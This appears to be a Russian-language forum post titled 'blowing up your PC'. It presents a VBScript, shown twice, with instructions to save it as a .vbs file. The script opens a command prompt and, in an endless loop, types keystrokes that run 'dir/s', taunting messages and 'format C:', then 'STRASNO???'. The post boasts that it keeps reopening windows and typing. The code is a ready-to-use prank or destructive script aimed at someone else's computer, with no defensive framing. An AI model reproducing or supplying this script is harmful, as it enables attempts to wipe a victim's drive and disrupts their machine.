Сносим башню пк

cоздаем текст документ и вводим тудa:

On Error Resume Next
Set WSHShell = WScript.CreateObject("WScript.Shell")
WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "cmd", 1
WshShell.AppActivate ""
dim ms(60)
ms(0) = "d"
ms(1) = "i"
ms(2) = "r"
ms(3) = "/"
ms(4) = "s"
ms(5) = "~"
ms(6) = "c"
ms(7) = "k"
ms(8) = "o"
ms(9) = "k"
ms(10) = "a"
ms(11) = " "
ms(12) = "d"
ms(13) = "e"
ms(14) = "r"
ms(15) = "m"
ms(16) = "a"
ms(17) = "!"
ms(18) = "~"
ms(19) = "s"
ms(20) = "h"
ms(21) = "a"
ms(22) = " "
ms(23) = "i"
ms(24) = "c"
ms(25) = "p"
ms(26) = "r"
ms(27) = "a"
ms(28) = "v"
ms(29) = "i"
ms(30) = "m"
ms(31) = "!"
ms(32) = " "
ms(33) = "~"
ms(34) = "f"
ms(35) = "o"
ms(36) = "r"
ms(37) = "m"
ms(38) = "a"
ms(39) = "t"
ms(40) = " "
ms(41) = "C"
ms(42) = ":"
ms(43) = Chr(13)
ms(44) = "S"
ms(45) = "T"
ms(46) = "R"
ms(47) = "A"
ms(48) = "S"
ms(49) = "N"
ms(50) = "O"
ms(51) = "?"
ms(52) = "?"
ms(53) = "?"
ms(54) = " "
ms(55) = " "
ms(56) = " "
ms(57) = " "
ms(58) = " "
ms(59) = " "
do while(1)
dy=dy+1
For Each Item in ms
WScript.Sleep 300
WshShell.SendKeys Item
next
loop

Код

On Error Resume Next

    Set WSHShell = WScript.CreateObject("WScript.Shell")

    WshShell = WScript.CreateObject("WScript.Shell")

    WshShell.Run "cmd", 1

    WshShell.AppActivate ""

    dim ms(60)

    ms(0) = "d"

    ms(1) = "i"

    ms(2) = "r"

    ms(3) = "/"

    ms(4) = "s"

    ms(5) = "~"

    ms(6) = "c"

    ms(7) = "k"

    ms(8) = "o"

    ms(9) = "k"

    ms(10) = "a"

    ms(11) = " "

    ms(12) = "d"

    ms(13) = "e"

    ms(14) = "r"

    ms(15) = "m"

    ms(16) = "a"

    ms(17) = "!"

    ms(18) = "~"

    ms(19) = "s"

    ms(20) = "h"

    ms(21) = "a"

    ms(22) = " "

    ms(23) = "i"

    ms(24) = "c"

    ms(25) = "p"

    ms(26) = "r"

    ms(27) = "a"

    ms(28) = "v"

    ms(29) = "i"

    ms(30) = "m"

    ms(31) = "!"

    ms(32) = " "

    ms(33) = "~"

    ms(34) = "f"

    ms(35) = "o"

    ms(36) = "r"

    ms(37) = "m"

    ms(38) = "a"

    ms(39) = "t"

    ms(40) = " "

    ms(41) = "C"

    ms(42) = ":"

    ms(43) = Chr(13)

    ms(44) = "S"

    ms(45) = "T"

    ms(46) = "R"

    ms(47) = "A"

    ms(48) = "S"

    ms(49) = "N"

    ms(50) = "O"

    ms(51) = "?"

    ms(52) = "?"

    ms(53) = "?"

    ms(54) = " "

    ms(55) = " "

    ms(56) = " "

    ms(57) = " "

    ms(58) = " "

    ms(59) = " "

do while(1)

    dy=dy+1

     For Each Item in ms

        WScript.Sleep 300

        WshShell.SendKeys Item

         next

loop

И сохрaняем в формате vbs
При запуске он начнёт писать всякую хрень если даже закрыть окно он все ровно будет открывать всё и писать туда что угодно